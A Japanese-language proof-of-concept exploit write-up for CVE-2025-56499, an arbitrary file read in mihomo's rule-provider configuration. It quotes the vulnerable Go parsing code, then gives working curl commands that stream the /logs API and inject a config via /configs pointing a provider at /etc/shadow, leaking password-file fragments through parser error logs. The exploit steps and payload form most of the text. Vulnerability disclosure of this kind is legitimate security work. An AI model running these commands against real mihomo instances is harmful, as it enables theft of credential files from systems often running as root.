
CVE-2025-56499 の概念実証エクスプロイト。mihomo の rule-provider 設定におけるパス検証欠如による任意ファイル読み取りを実証し、ログベースのデータ流出を行います。
ローカルルールプロバイダーのパス検証欠如による任意ファイル読み取り
アップストリーム修正: https://github.com/MetaCubeX/mihomo/pull/2177
影響を受けるバージョン: mihomo <= v1.19.11
rule-providers設定を解析する際、type = "file"ブランチは指定されたパスを検証しません。schema.Pathを制御する認証済み攻撃者は、プロバイダーを読み取り可能な任意のローカルファイルに指定できます。ほとんどの任意ファイルは期待されるルール形式に準拠していないため、解析エラー(実質的なファイル内容の断片を含む)がメモリ内のログに出力され、/logsAPIを通じて公開されます。mihomoはしばしば昇格された権限(root/管理者)で実行されるため、影響の大きい情報漏洩につながります。
rules/provider/parse.goにおいて、schema.Type == "file"のケースはのみを呼び出し、または同等のホワイトリスト/サンドボックス制約を強制しません。C.Path.Resolve()C.Path.IsSafePath()var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
ファイルブランチの欠陥:
/logsをポーリングまたはストリーミングして、パーサーエラー出力を取得する。/configsを介して細工された設定を送信し、悪意のあるrule-providersエントリ(type = fileとターゲットファイルパスを含む)を埋め込む。ログをリッスン(トークンの例Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
設定を注入して/etc/shadowを読み取る:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
エスケープされていないペイロード:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
結果: /logs内の解析失敗行に/etc/shadowの断片が含まれます(スクリーンショット例):
